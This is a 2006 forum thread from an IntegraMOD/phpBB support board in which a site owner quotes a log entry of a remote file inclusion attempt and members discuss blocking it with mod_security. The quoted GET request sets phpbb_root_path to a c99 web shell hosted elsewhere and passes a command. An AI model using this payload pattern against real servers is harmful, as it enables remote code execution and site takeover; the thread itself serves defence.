I seen this in my logs of my Dedicated Linux server for my site.
GET /portal///includes/functions_portal.php?phpbb_root_path=http://www.festivalrilke.ch/files/upload/c99shellb16.txt?&cmd=id HTTP/1.1
If you click the URL within the GET command you'll see an elaborate script that is trying to be executed. Thank god I have mod_security installed and it was able to block/deny the phpbb_root_path command from being executed.
Hacking Attempt?
Moderator: Integra Moderator
4 posts
• Page 1 of 1
Hacking Attempt?
Author: Bush » Tue Sep 12, 2006 6:53 pm
Last edited by Bush on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
no signature.
-
Bush - Integra Member
- Posts: 191
- Likes: 0 post
- Liked in: 0 post
- Joined: Tue Mar 28, 2006 7:55 am
- Cash on hand: 0.00
Author: Michaelo » Wed Sep 13, 2006 12:15 pm
It denies the GET command and not the php_root_path...
The current security updates prevent this...
The current security updates prevent this...
Last edited by Michaelo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
-
Michaelo - Administrator
- Posts: 1646
- Likes: 0 post
- Liked in: 0 post
- Joined: Sat Mar 11, 2006 5:14 pm
- Cash on hand: 0.00
- Location: Dublin, Ireland
Author: computerz » Wed Sep 13, 2006 3:36 pm
"Michaelo";p="15390" wrote:It denies the GET command and not the php_root_path...
The current security updates prevent this...
It will deny the phpbb_root_path element if it is specified in the filters. I made a post on this below. I also have similar exploit attempts in my logs and they're not using a GET statement, but they're still getting blocked because of the phpbb_root_path parameter is being filtered in my rule set.
Last edited by computerz on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
-
computerz - Members
- Posts: 84
- Likes: 0 post
- Liked in: 0 post
- Joined: Sun Aug 27, 2006 1:21 pm
- Cash on hand: 0.00
Author: Michaelo » Thu Sep 14, 2006 3:33 am
Must be updates since the breach... <img>
Last edited by Michaelo on Wed Dec 31, 1969 4:00 pm, edited 1 time in total.
-
Michaelo - Administrator
- Posts: 1646
- Likes: 0 post
- Liked in: 0 post
- Joined: Sat Mar 11, 2006 5:14 pm
- Cash on hand: 0.00
- Location: Dublin, Ireland
4 posts
• Page 1 of 1
Who is online
Registered users: Bing [Bot], Google [Bot], Helter, Majestic-12 [Bot]
IntegraMOD® is Powered by phpBB® Forum Software © phpBB Group
